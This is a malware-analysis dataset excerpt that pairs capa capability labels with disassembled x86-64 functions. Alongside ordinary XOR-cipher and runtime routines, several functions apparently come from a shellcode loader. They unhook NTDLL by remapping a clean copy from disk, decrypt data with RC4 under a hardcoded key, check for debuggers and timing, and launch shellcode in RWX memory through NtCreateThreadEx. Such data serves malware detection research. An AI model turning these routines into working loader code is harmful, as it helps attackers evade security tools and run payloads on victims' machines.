joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18007eae0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x50
call fcn.180090180
sub rsp, rax
mov rax, qword [0x18012c3a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xb0]
mov r12, r9
mov r13, qword [rsp + 0xb8]
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
cmp rcx, rdx
je 0x18007eb79
mov r15, r14
cmp r8, 0x10
jb 0x18007eb6f
mov rbp, r8
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rdi, rax
mov r8, r12
mov rdx, rsi
mov rcx, rbx
call r13
mov rax, qword [r15]
xor qword [rsi], rax
mov rax, qword [r15 + 8]
mov r15, rbx
xor qword [rsi + 8], rax
add rbx, 0x10
add rsi, 0x10
sub rbp, 1
jne 0x18007eb44
movups xmm0, xmmword [r15]
movups xmmword [r14], xmm0
jmp 0x18007ebd2
cmp rdi, 0x10
jb 0x18007ebd2
mov rbp, rdi
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rdi, rax
nop dword [rax]
mov r8, r12
lea rdx, [rsp + 0x38]
mov rcx, rbx
call r13
mov rcx, qword [rbx]
mov rax, qword [r14]
xor rax, qword [rsp + 0x38]
mov qword [rsi], rax
mov rax, qword [r14 + 8]
xor rax, qword [rsp + 0x40]
mov qword [r14], rcx
mov rcx, qword [rbx + 8]
add rbx, 0x10
mov qword [rsi + 8], rax
add rsi, 0x10
mov qword [r14 + 8], rcx
sub rbp, 1
jne 0x18007eb90
test rdi, rdi
je 0x18007ed50
lea rcx, [rsp + 0x38]
mov rax, r14
sub rax, rcx
lea r15, [rsp + 0x39]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x38]
mov eax, 1
mov ebp, 3
sub rax, rcx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov eax, 2
sub rax, rcx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x38]
sub rbp, rax
inc rsi
neg r15
nop word [rax + rax]
mov r8, r12
lea rdx, [rsp + 0x38]
mov rcx, rbx
call r13
mov r10, qword [rsp + 0x20]
lea r9, [r15 + rsi]
xor eax, eax
nop dword [rax]
cmp rax, rdi
jae 0x18007ed04
lea r8, [rsp + 0x38]
add r8, rax
lea rcx, [r8 + rbx]
movzx edx, byte [rcx + r15 + 1]
movzx ecx, byte [r8]
xor cl, byte [r10 + r8]
mov byte [r8 + r9], cl
mov rcx, qword [rsp + 0x28]
add rcx, r8
mov byte [r10 + r8], dl
cmp rcx, rdi
jae 0x18007ed01
movzx ecx, byte [r8 + 1]
xor cl, byte [r14 + rax + 1]
movzx edx, byte [rax + rbx + 1]
mov byte [rsi + rax], cl
mov rcx, qword [rsp + 0x30]
add rcx, r8
mov byte [r14 + rax + 1], dl
cmp rcx, rdi
jae 0x18007ecfb
movzx ecx, byte [r8 + 2]
xor cl, byte [r14 + rax + 2]
movzx edx, byte [rbx + rax + 2]
mov byte [rsi + rax + 1], cl
lea rcx, [r8 + rbp]
mov byte [r14 + rax + 2], dl
cmp rcx, rdi
jae 0x18007ecf5
movzx edx, byte [rbx + rax + 3]
movzx ecx, byte [r8 + 3]
xor cl, byte [r14 + rax + 3]
mov byte [rsi + rax + 2], cl
mov byte [r14 + rax + 3], dl
add rax, 4
cmp rax, 0x10
jb 0x18007ec50
jmp 0x18007ed04
add rax, 3
jmp 0x18007ed04
add rax, 2
jmp 0x18007ed04
inc rax
cmp rdi, 0x10
jbe 0x18007ed1e
add rbx, 0x10
add rsi, 0x10
sub rdi, 0x10
jne 0x18007ec30
jmp 0x18007ed50
cmp rax, 0x10
jae 0x18007ed50
sub rbx, r14
lea rcx, [r14 + rax]
mov edx, 0x10
sub rdx, rax
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x18007ed40
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18008f850
mov rbx, qword [rsp + 0xa0]
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18007ed80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
mov eax, 0x20
call fcn.180090180
sub rsp, rax
mov rbp, qword [rsp + 0x70]
mov r12, r9
mov r13, qword [rsp + 0x78]
mov r10, rbp
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 0x10
jb 0x18007ee18
mov rbp, r8
shr rbp, 4
imul rax, rbp, 0xfffffffffffffff0
add rdi, rax
nop word [rax + rax]
sub r10, rsi
mov r8, rbx
sub r8, rsi
mov rcx, rsi
mov edx, 2
mov rax, qword [r10 + rcx]
xor rax, qword [rcx]
mov qword [r8 + rcx], rax
lea rcx, [rcx + 8]
sub rdx, 1
jne 0x18007ede1
mov r8, r12
mov rdx, rbx
mov rcx, rbx
call r13
mov r10, rbx
add rsi, 0x10
add rbx, 0x10
sub rbp, 1
jne 0x18007edd0
mov rbp, qword [rsp + 0x70]
test rdi, rdi
je 0x18007ef32
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r15
nop dword [rax + rax]
mov r8, r10
mov r9, rbx
mov r11d, 1
mov r14d, 2
sub r8, rsi
sub r9, rsi
sub r11, rsi
sub r14, rsi
xor eax, eax
mov r15d, 3
sub r15, rsi
nop dword [rax]
cmp rax, rdi
jae 0x18007eed4
lea rdx, [rax + rsi]
movzx ecx, byte [r8 + rdx]
xor cl, byte [rdx]
mov byte [r9 + rdx], cl
lea rcx, [r11 + rdx]
cmp rcx, rdi
jae 0x18007eed1
movzx ecx, byte [rsi + rax + 1]
xor cl, byte [rax + r10 + 1]
mov byte [rbx + rax + 1], cl
lea rcx, [r14 + rdx]
cmp rcx, rdi
jae 0x18007eecb
movzx ecx, byte [rsi + rax + 2]
xor cl, byte [rax + r10 + 2]
mov byte [rbx + rax + 2], cl
lea rcx, [r15 + rdx]
cmp rcx, rdi
jae 0x18007eec5
movzx ecx, byte [rsi + rax + 3]
xor cl, byte [rax + r10 + 3]
mov byte [rbx + rax + 3], cl
add rax, 4
cmp rax, 0x10
jb 0x18007ee60
jmp 0x18007ef01
add rax, 3
jmp 0x18007eed4
add rax, 2
jmp 0x18007eed4
inc rax
cmp rax, 0x10
jae 0x18007ef01
sub r10, rbx
lea rcx, [rax + rbx]
mov edx, 0x10
sub rdx, rax
nop dword [rax]
movzx eax, byte [r10 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x18007eef0
mov r8, r12
mov rdx, rbx
mov rcx, rbx
call r13
mov r10, rbx
cmp rdi, 0x10
jbe 0x18007ef28
add rsi, 0x10
add rbx, 0x10
sub rdi, 0x10
jne 0x18007ee30
mov r14, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
movups xmm0, xmmword [r10]
mov rbx, qword [rsp + 0x60]
movups xmmword [rbp], xmm0
add rsp, 0x20
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180083f00
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
mov eax, 0x20
call fcn.180090180
sub rsp, rax
mov esi, dword [rdx + 8]
mov r14, rdx
mov rbx, rcx
test esi, esi
jne 0x180083f41
xor edx, edx
call fcn.180075df0
lea eax, [rsi + 1]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
lea eax, [rsi - 1]
mov qword [rsp + 0x30], rdi
movsxd rdi, eax
xor eax, eax
mov qword [rsp + 0x38], r15
mov r15, qword [rdx]
mov rcx, qword [r15 + rdi*8]
cmp rcx, 1
sete al
sub esi, eax
cmp r14, rbx
je 0x180083f8c
cmp esi, dword [rbx + 0xc]
jg 0x180083f72
mov rax, rbx
jmp 0x180083f7c
mov edx, esi
mov rcx, rbx
call fcn.180076010
test rax, rax
je 0x180083ff6
mov eax, dword [r14 + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, qword [r15 + rdi*8]
mov rdx, qword [rbx]
mov rax, rcx
xor rax, 1
inc rax
neg rax
shl rax, 0x3f
lea r8, [rdx + rdi*8]
shr rcx, 1
je 0x180083fac
mov qword [r8], rcx
test rdi, rdi
jle 0x180083fee
sub r15, rdx
nop dword [rax]
nop dword [rax + rax]
mov rdx, qword [r15 + r8 - 8]
lea r8, [r8 - 8]
mov rcx, rdx
dec rdi
shr rcx, 1
or rcx, rax
mov rax, rdx
xor rax, 1
mov qword [r8], rcx
inc rax
neg rax
shl rax, 0x3f
test rdi, rdi
jg 0x180083fc0
mov dword [rbx + 8], esi
mov eax, 1
mov rdi, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18008ad90
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x240
call fcn.180090180
sub rsp, rax
mov rax, qword [0x18012c3a8]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
test rcx, rcx
je 0x18008ae2c
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.1800abaa0
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edi, eax
test eax, eax
je 0x18008ae2c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
mov r8d, 0x103
sub r8, rcx
cmp rdi, r8
jae 0x18008ae2c
lea rdx, [0x180128b90]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rbx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x18008ae2e
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.18008f850
mov rbx, qword [rsp + 0x258]
add rsp, 0x240
pop rdi
ret

Function at 0x18008ae50
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, 0x28
call fcn.180090180
sub rsp, rax
cmp dword [0x180128b88], 0
je 0x18008ae98
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
jne 0x18008ae7d
mov dword [0x180128b88], eax
jmp 0x18008ae98
xorps xmm2, xmm2
lea rcx, [rsp + 0x38]
mov edx, 8
call fcn.180070500
cmp dword [0x180128b88], 0
jne 0x18008aeb4
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xorps xmm2, xmm2
lea rcx, [rsp + 0x30]
mov edx, 4
mov dword [rsp + 0x30], eax
call fcn.180070500
add rsp, 0x28
ret
Function at 0x18008d930
Capabilities:
Check for software breakpoints

Disassembly:
mov eax, 0x38
call fcn.180090180
sub rsp, rax
mov r11, rcx
cmp dword [rsp + 0x60], r9d
jne 0x18008da10
movzx r10d, byte [r8]
lea eax, [r10 - 0x6a]
cmp al, 1
ja 0x18008da10
lea rdx, [r8 + 1]
mov qword [rsp + 0x30], rbx
xor r8d, r8d
cmp r10b, 0x6b
jne 0x18008d9c4
lea ebx, [r9 - 3]
mov eax, r8d
test ebx, ebx
jle 0x18008d996
nop dword [rax + rax]
movzx ecx, byte [rdx]
inc rdx
cmp cl, 0xba
je 0x18008d996
cmp cl, 0xbb
jne 0x18008d99c
inc eax
cmp eax, ebx
jl 0x18008d980
sub ebx, eax
test eax, eax
jne 0x18008d9c8
mov edx, 0x80
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 0xa]
call fcn.180075230
mov rbx, qword [rsp + 0x30]
mov eax, 0xffffffff
add rsp, 0x38
ret
lea ebx, [r9 - 2]
movsxd rax, ebx
cmp byte [rax + rdx], 0xcc
je 0x18008d9f9
mov edx, 0x80
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 0xb]
call fcn.180075230
mov rbx, qword [rsp + 0x30]
mov eax, 0xffffffff
add rsp, 0x38
ret
mov r8d, ebx
mov rcx, r11
call fcn.1800ab630
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x38
ret
mov edx, 0x80
xor r8d, r8d
mov dword [rsp + 0x20], r8d
xor r9d, r9d
lea ecx, [rdx - 0x7c]
lea r8d, [rdx + 9]
call fcn.180075230
mov eax, 0xffffffff
add rsp, 0x38
ret
Function at 0x1800cc409
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x88]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x38], rax
mov dword [rbp - 4], 0
jmp 0x1800cc4f7
mov eax, dword [rbp - 4]
lea rdx, [rax*4]
mov rax, qword [rbp - 0x28]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rcx, rax
call fcn.1800cc3c8
cmp eax, dword [rbp + 0x18]
jne 0x1800cc4f3
mov eax, dword [rbp - 4]
lea rdx, [rax + rax]
mov rax, qword [rbp - 0x38]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp - 0x30]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
jmp 0x1800cc508
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x18]
cmp eax, dword [rbp - 4]
ja 0x1800cc491
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x1800cc50e
Capabilities:
Access peb ldr_data

Disassembly:
xor rax, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret
Function at 0x14000154c
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax + 0x20]
ret

Function at 0x140001565
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rsi, rcx
call fcn.14000154c
test rax, rax
je 0x140001585
cmp word [rax], 0x5a4d
jne 0x140001662
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140001662
movzx ecx, word [rdx + 0x14]
movzx r10d, word [rdx + 6]
lea rcx, [rdx + rcx + 0x18]
xor edx, edx
cmp r10d, edx
jle 0x140001662
mov r8, rcx
add rcx, 0x28
mov r9d, dword [r8]
or r9d, 0x20202020
cmp r9d, 0x7865742e
jne 0x1400015ed
mov edx, dword [r8 + 0xc]
mov ebp, dword [r8 + 8]
add rax, rdx
mov rbx, rax
sete al
add rsi, rdx
sete dl
or al, dl
jne 0x140001662
test rbp, rbp
jne 0x1400015f1
jmp 0x140001662
inc edx
jmp 0x1400015a8
xor eax, eax
lea r9, [rsp + 0x3c]
mov dword [rsp + 0x3c], eax
mov rax, qword [0x140049200]
test rax, rax
jne 0x140001616
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x140049200], rax
mov qword [rsp + 0x28], r9
mov r8d, pe_nt_image_headers64
mov rdx, rbp
mov rcx, rbx
call rax
mov r9, qword [rsp + 0x28]
test eax, eax
je 0x140001662
mov rdi, rbx
mov rcx, rbp
rep movsb byte [rdi], byte [rsi]
mov rax, qword [0x140049200]
mov r8d, dword [rsp + 0x3c]
test rax, rax
jne 0x140001659
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x140049200], rax
mov rdx, rbp
mov rcx, rbx
call rax
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14000166b
Capabilities:
Get common file path
Read file via mapping

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x250
xor eax, eax
mov ecx, 0x3d
xor r10d, r10d
xor r11d, r11d
lea rdi, [rsp + 0x58]
mov qword [rsp + 0x48], r10
lea rsi, [rsp + 0x48]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x15c]
mov ecx, 0x3d
mov qword [rsp + 0x50], r10
rep stosd dword [rdi], eax
mov rax, qword [0x140049158]
mov qword [rsp + 0x14c], r11
mov qword [rsp + 0x154], r11
test rax, rax
jne 0x1400016d1
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov qword [0x140049158], rax
mov edx, 0x104
mov rcx, rsi
call rax
test eax, eax
je 0x1400018cd
lea rbx, [rsp + 0x14c]
mov rdx, rsi
mov r8d, 0x104
mov rcx, rbx
call sub.msvcrt.dll_strncat
mov rcx, rsi
mov esi, 0x104
call sub.msvcrt.dll_strlen
mov r8, rsi
lea rdx, str.System32_
mov rcx, rbx
sub r8, rax
call sub.msvcrt.dll_strncat
mov rcx, rbx
call sub.msvcrt.dll_strlen
lea rdx, str.NTDLL.DLL
mov rcx, rbx
sub rsi, rax
mov r8, rsi
call sub.msvcrt.dll_strncat
mov rax, qword [0x140049078]
test rax, rax
jne 0x140001755
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x140049078], rax
xor r9d, r9d
mov rcx, rbx
mov dword [rsp + 0x28], pe_nt_image_headers64
mov r8d, 1
mov qword [rsp + 0x30], r9
mov edx, 0x80000000
xor r9d, r9d
mov dword [rsp + 0x20], 3
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400018cd
mov rax, qword [0x140049080]
test rax, rax
jne 0x1400017a7
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [0x140049080], rax
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rcx
mov rcx, rbx
mov dword [rsp + 0x20], r8d
mov r8d, 0x11000002
call rax
mov rsi, rax
test rax, rax
jne 0x1400017f0
mov rax, qword [0x140049060]
test rax, rax
jne 0x1400017e8
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140049060], rax
mov rcx, rbx
jmp 0x1400018ca
mov rax, qword [0x140049180]
test rax, rax
jne 0x14000180a
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [0x140049180], rax
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rdx
mov edx, 4
call rax
mov rdi, rax
test rax, rax
jne 0x140001867
mov rax, qword [0x140049060]
test rax, rax
jne 0x140001843
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140049060], rax
mov rcx, rbx
call rax
mov rax, qword [0x140049060]
test rax, rax
jne 0x140001862
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140049060], rax
mov rcx, rsi
jmp 0x1400018ca
mov rcx, rax
call fcn.140001565
mov rax, qword [0x140049060]
test rax, rax
jne 0x140001889
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140049060], rax
mov rcx, rbx
call rax
mov rax, qword [0x140049060]
test rax, rax
jne 0x1400018a8
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140049060], rax
mov rcx, rsi
call rax
mov rax, qword [0x1400491e0]
test rax, rax
jne 0x1400018c7
mov rax, qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov qword [0x1400491e0], rax
mov rcx, rdi
call rax
nop
add rsp, 0x250
pop rbx
pop rsi
pop rdi
ret
Function at 0x1400018e3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rbx
sub rsp, 0x228
movabs rax, 0x1423bb56419a5974
mov r10, rdx
mov qword [rsp], rax
mov r9, rcx
lea rbx, [rsp + 0x20]
movabs rdx, 0x159aa1c3d0225a74
lea rcx, [rsp + 0x120]
movabs rax, 0x993c2b002ebe091
mov qword [rsp + 8], rdx
movabs rdx, 0x295a161ccc51f477
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x10], rax
xor eax, eax
mov rdx, rax
mov byte [rax + rcx], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx]
mov byte [rax + rbx - 1], dl
cmp rax, 0x100
jne 0x14000193c
xor edx, edx
xor r11d, r11d
mov r8b, byte [rcx + rdx]
mov al, byte [rbx + rdx]
add eax, r8d
add eax, r11d
movzx r11d, al
movzx eax, al
mov sil, byte [rsp + rax + 0x120]
mov byte [rsp + rax + 0x120], r8b
mov byte [rcx + rdx], sil
inc rdx
cmp rdx, 0x100
jne 0x14000195c
xor edx, edx
xor ebx, ebx
xor r11d, r11d
cmp rdx, r10
je 0x1400019ea
lea ecx, [rbx + 1]
movzx ebx, cl
movzx ecx, cl
mov al, byte [rsp + rcx + 0x120]
lea r8d, [rax + r11]
movzx r11d, r8b
movzx r8d, r8b
mov sil, byte [rsp + r8 + 0x120]
mov byte [rsp + rcx + 0x120], sil
mov byte [rsp + r8 + 0x120], al
add al, byte [rsp + rcx + 0x120]
movzx eax, al
mov al, byte [rsp + rax + 0x120]
xor byte [r9 + rdx], al
inc rdx
jmp 0x140001997
mov rax, rdx
add rsp, 0x228
pop rbx
pop rsi
ret
Function at 0x140001b61
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Map section object
Spawn thread to rwx shellcode

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
mov rax, qword [0x140049278]
xor r9d, r9d
xor r10d, r10d
test rax, rax
mov qword [rsp + 0x68], r9
mov rsi, rcx
mov rbx, rdx
lea r9, [rsp + 0x70]
mov dword [rsp + 0x74], r10d
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x70], edx
jne 0x140001bd0
xor r8d, r8d
mov dword [rsp + 0x28], 0x8000000
mov rax, qword [sub.ntdll.dll_NtCreateSection]
mov edx, 0xf001f
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov qword [0x140049278], rax
call sub.ntdll.dll_NtCreateSection
jmp 0x140001bf1
xor edx, edx
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov edx, 0xf001f
mov dword [rsp + 0x20], 0x40
call rax
test eax, eax
jne 0x140001d5e
xor eax, eax
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x78]
lea r8, [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov rax, qword [0x1400492a0]
test rax, rax
jne 0x140001c6b
xor edi, edi
xor r11d, r11d
mov qword [rsp + 0x30], rdx
xor r9d, r9d
mov dword [rsp + 0x40], r11d
mov rax, qword [sub.ntdll.dll_NtMapViewOfSection]
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov qword [0x1400492a0], rax
call sub.ntdll.dll_NtMapViewOfSection
jmp 0x140001c9e
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x30], rdx
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x40], r9d
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], r10
call rax
test eax, eax
jne 0x140001d5e
mov rdi, qword [rsp + 0x80]
mov rcx, rbx
rep movsb byte [rdi], byte [rsi]
xor edi, edi
lea rcx, [rsp + 0x88]
mov qword [rsp + 0x88], rdi
mov rax, qword [0x140049280]
mov rdx, qword [rsp + 0x80]
test rax, rax
jne 0x140001d23
xor r11d, r11d
xor ebx, ebx
xor esi, esi
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x50], r11
mov rax, qword [sub.ntdll.dll_NtCreateThreadEx]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov qword [rsp + 0x48], r11
mov edx, 0x1fffff
mov qword [rsp + 0x40], r11
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rsi
mov qword [0x140049280], rax
call sub.ntdll.dll_NtCreateThreadEx
jmp 0x140001d5e
xor r8d, r8d
xor r9d, r9d
xor r10d, r10d
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x50], r8
mov edx, 0x1fffff
mov qword [rsp + 0x48], r8
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], r8
xor r8d, r8d
mov dword [rsp + 0x30], r9d
or r9, 0xffffffffffffffff
mov qword [rsp + 0x28], r10
call rax
nop
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
Function at 0x140002050
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002e80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002e80
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400020c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400493b4]
mov rbx, rcx
test esi, esi
jle 0x1400021f0
mov rax, qword [0x1400493b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000210b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002195
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400020f0
mov rcx, rbx
call fcn.140002b10
mov rdi, rax
test rax, rax
je 0x140002212
mov rax, qword [0x1400493b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002c50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400493b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400021f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000218e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400021a0
add dword [0x1400493b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400493b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000218e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002050
nop dword [rax]
xor esi, esi
jmp 0x140002118
mov rax, qword [0x1400493b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002050
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002050
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002780
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140049420]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140049400]
test rbx, rbx
je 0x1400027dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400027d3
test rsi, rsi
je 0x1400027d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400027b8
mov rcx, r12
